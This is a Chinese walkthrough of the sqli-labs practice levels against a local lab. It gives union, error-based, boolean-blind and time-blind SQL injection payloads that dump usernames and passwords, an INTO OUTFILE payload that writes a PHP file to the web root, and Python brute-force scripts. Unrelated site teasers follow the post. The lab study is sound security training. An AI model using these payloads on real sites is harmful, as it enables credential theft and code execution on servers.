sqli-labs闯关复现

news2024/12/23 21:02:36
1.第一关:

        

提示我们输入数字值得id,我们先输入

?id=1

有回显内容,说明我们已经进入了数据库进行查询。

尝试联表注入:

       第一步:首先我们需要知道一张表有几列,可以通过报错和正常回显来判断有几列。

这里两个知识点:

        1.正常使用mysql语句是无法查询出来的,由于是字符型,需要使用 ' 单引号来闭合,达到逃脱单引号的控制

        2.-- 空格是mysql的注释符,因为+加号是和空格编码成一样的%20,具体证明可以查看各大官方文档,例如华三。

?id=1'order by 3 --+

?id=1'order by 4 --+

这不难看出,这个表有三列。

        第二步:爆出表格的哪一列显示在页面。

?id=-1'union select 1,2,3--+

确定了显示的是2和3列

        第三步:就可以开始获取自己想要知道的内容了

?id=-1'union select 1,database(),version()--+

第四步:由于我们查出来了security这个数据库名,接下来就可以一步一步查出它的账号密码有哪些。先查出表名,在根据表名查出users的列名,最后就可以直接select查出账号密码。

select table_name from tables where table_schema='security';

select column_name from columns where table_schema='security' and table_name='users';

select username,password from security.users;

 

这是在数据库里面看到的表名和列名以及密码,但是我们需要通过注入在页面回显出来。

group_concat()的作用:将查询结果连起来。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 到这里第一关就结束。

2.第五关:

 由于第五关没有正确的回显,所以可以尝试一下进行报错注入。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3e,password)from users),1,32),0x7e),1)--+

注入成功,看到报错回显了账号密码,但是只有前32位,所以要以此类推知道全部回显出来。只需要吧1,32改成32,64.......

3.第七关:主要考察outfile
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "C:/Study/phpstudy/phpstudy_pro/WWW/sqli-labs-master/web.php";--+

提示有语法错误不用担心,去看一下该路径下是否生成了php文件。

4.第八关:对错都不回显,但是对就不显示,错就是you are in.....

我们可以尝试一下:因为数据库名为security,第一个字母为s转换成ascii看看115是否正确。

?id=1' and ascii(substr(database(),1,2))=115--+

不难看出,这样是可以一直推出来的,但是需要尝试特别长的时间,所以我们可以选择爆破,或者用脚本跑出来。这是我使用简单的脚本:

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

接下里只需要修改payload一步一步跑出来即可

"1' and ascii(substr((select group_concat(table_name)from information_schema.table where table_schema='security'), %d, 1)) > %d-- " % (i, mid)
5.第九关:没有任何反应,所以只能根据时间进行时间盲注,需要用到sleep()函数
import requests
import time


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += chr(j)
                print(result)
    return result


if __name__ == '__main__':
    TIME = 5
    process(8)

6.第十一关:

我们可以尝试一下在Username进行注入,由于这里不是地址栏,不会进行编码,所以就可以使用#,因为闭合的原因,所以Password可以随便输入。

1' union select 1,2#

可以发现确实是这样的,找到注入点,就和第一关差不多了

1' union select 1,group_concat(username ,id , password) from users#

7.第十五关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

亚马逊英国站认证 高压锅CE认证

高压锅 一种产生加压蒸汽来烹饪食物的厨具。高压锅可以用于明火&#xff0c;或者插电使用。传统高压锅由采用铝底的钢锅和密封锅盖组成。 亚马逊网站上销售的所有高压锅均须符合指定的认证标准。请注意&#xff0c;如果不符合这些标准&#xff0c;亚马逊可能会撤销您的销售权限…

Centos8搭建npm和maven的nexus私服

nexus私服部署需要依赖JDK&#xff0c;故首先在服务器上部署JDK。 JDK 8 的安装教程 1. 下载安装包 官网下载&#xff1a; Java Archive 注&#xff1a; 官网下载需要注册 Oracle 账户并登录。 2. 安装 将下载下来的tar包上传到服务器上&#xff0c;示例为上传到服务器的/…

C++ | Leetcode C++题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; class Solution { public:bool isPowerOfThree(int n) {return n > 0 && 1162261467 % n 0;} };

[MRCTF2020]PYWebsite-1

打开以后查看源码信息 看到flag.php试着打开 提示看到&#xff0c;需要后端审计代码&#xff0c;而且应该要改ip&#xff0c;改成自己本地&#xff0c;burp抓包看一下 改X-Forwarded-For:127.0.0.1 得到flag flag{74242eb7-844f-4638-8aae-9ec37870d585}

一种专为 API 而生的 JSON 工具,适合中小型前后端分离的项目(附源码)

前言 在当前的软件开发领域&#xff0c;前后端分离的开发模式越来越受到青睐。然而&#xff0c;这种模式也带来了一些挑战&#xff0c;如接口开发和文档维护的成-本高、前后端沟通效率低下、以及频繁的接口变更导致的开发周期延长等问题。 为了解决这些痛点&#xff0c;需要一…

MyBatis的基本注解

常用注解 基本注解&#xff1a;实现简单的增删改查操作 结果映射注解&#xff1a;实现结果的映射关系&#xff0c;也可以完成级联映射 动态SQL注解&#xff1a;实现动态SQL的内容 基本注解&#xff1a; 增加操作&#xff1a;Insert 删除操作&#xff1a;Delete 修改操作…

kickstart 自动安装脚本制作及实现服务器自动部署

首先在&#xff52;&#xff48;&#xff45;&#xff4c;&#xff17; 中下载安装yum install system-config-kickstart 启动此服务 打开界面 并配置 继续 安装httpd并启动将/rhel 到/var/www/html下 查看 在继续 接下来只需在此写下想要的如 继续 保存 在其中写入 查看 D…

TCP通信三次握手四次挥手理解

TCP&#xff08;传输控制协议&#xff09;是一种面向连接、可靠的数据传输协议&#xff0c;旨在解决在不可靠的互联网上如何确保端到端的可靠数据传输问题。 TCP的特点&#xff1a; 面向连接&#xff1a;在数据传输之前&#xff0c;客户端和服务器必须建立连接。这种连接是持久…

Unrecognized option: --add-opens=java.base/java.lang=ALL-UNNAMED

Unrecognized option: --add-opensjava.base/java.langALL-UNNAMED Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. Disconnected from server 报错原因&#xff1a;这里我是启动一个SpringBoot项目的时候报这…

Node.js(8)——Express的基本使用

监听GET请求 通过app.get()方法&#xff0c;可以监听客户端GET请求&#xff0c;具体语法&#xff1a; app.get(请求URL,function(req,res){处理函数}) 监听POST请求 语法&#xff1a; app.post(请求URL,function(req,res){处理函数}) 把内容响应给客户端 通过res.send()方法…

基于R语言绘制GGE双标图2

参考资料&#xff1a; 严威凯等: 双标图分析在农作物品种多点试验中的应用【作物学报】 https://cran.r-project.org/web/packages/GGEBiplots/GGEBiplots.pdf 1、如何判断双标图是否充分体现数据中的规律 在对双标图的解释中&#xff0c;有一个隐含的假设&#xff0c;就是所…

【算法速刷(4/100)】LeetCode —— 155.最小栈

每天写几题&#xff0c;健康每一天 最小栈问题&#xff0c;有许多种办法进行解答&#xff0c;首先需要锁定的条件是要求在实现栈功能之外&#xff0c;要在常数时间内检索最小元素。 一般这种O(1)查找最值都可以用一下方法 哈希表&#xff1a;使用哈希表存储对应栈大小时的栈…

PXE自动批量装机应用

目录 一 生成kickstart自动安装脚本 1.1 工具介绍 1.2 实验过程 1.2.1 环境要求 1.2.2 实验步骤 二 配置dhcp服务 2.1 安装dhcp 2.2 配置dhcp 三 配置syslinux&#xff0c;tftp 3.1 安装suslinux和tftp 3.2 配置软件 3.3 实验效果实现 一 生成kickstart自动安装脚…

光伏逆变器、MPPT、PCS储能变流器、BMU、BCU、BDU和液冷机组

一、光伏逆变器 光伏逆变器&#xff08;PV inverter或solar inverter&#xff09;可以将光伏&#xff08;PV&#xff09;太阳能板产生的可变直流电压转换为市电频率交流电&#xff08;AC&#xff09;的逆变器&#xff0c;可以反馈回商用输电系统&#xff0c;或是供离网的电网使…

基于风险的完整性和检查建模(RBIIM)MATLAB仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 Prior Density (先验密度) 4.2 Posterior Perfect Inspection (后验完美检验) 4.3 Posterior Imperfect Inspection (后验不完美检验) 4.4Cumulative Posterior Imperfect Inspection…

PyTorch深度学习实战(3)——小试牛刀:CIFAR-10分类

下面尝试从零搭建一个PyTorch模型来完成CIFAR-10数据集上的图像分类任务&#xff0c;步骤如下。 &#xff08;1&#xff09;使用torchvision加载并预处理CIFAR-10数据集。 &#xff08;2&#xff09;定义网络。 &#xff08;3&#xff09;定义损失函数和优化器。 &#xff08;4…

P32调试技巧1、2

实用调试技巧 什么是bug?调试是什么&#xff1f;有多么重要&#xff1f;debug和release的介绍windows环境调试介绍一些调试的实例如何写出好的&#xff08;易于调试&#xff09;代码编程常见的错误 什么是bug&#xff1f; 第一次被发现的导致计算机错误的飞蛾&#xff0c;也是…

Modbus -- TCP协议

MODBUS TCP协议是一种基于TCP/IP协议的Modbus变种&#xff0c;它允许Modbus协议在以太网网络上运行&#xff0c;使得设备之间可以通过IP网络交换数据。 一:协议概述 modbus_TCP协议:走的是网口&#xff0c;所以需要创建TCPclient对象进行通信,和modubus-RTU协议最大的区别是&a…

proxfier的使用和设置

1,安装proxifier工具 2&#xff0c;安装之后配置代理设置 3&#xff0c;首先点击彩色卷部分 4&#xff0c;修改配置文件&#xff0c;并且配置代理协议为https ip为127.0.0.1 端口为8888 &#xff08;注意下面图片 default一定为直连) 5&#xff0c;设置代理服务器&#xff…

怎样配置虚拟机IP

目录(三步走) 配置本机IP 配置虚拟机外部IP 配置虚拟机内部IP 参考链接: 配置本机IP 打开“网络和共享中心”——>更改“适配器设置” 找到“VMnet8”,然后右键“属性”,弹出下列窗口 输入本机IP(你目前电脑的IP) win系统可以用的命令:IPconfig 一共有AB两位,…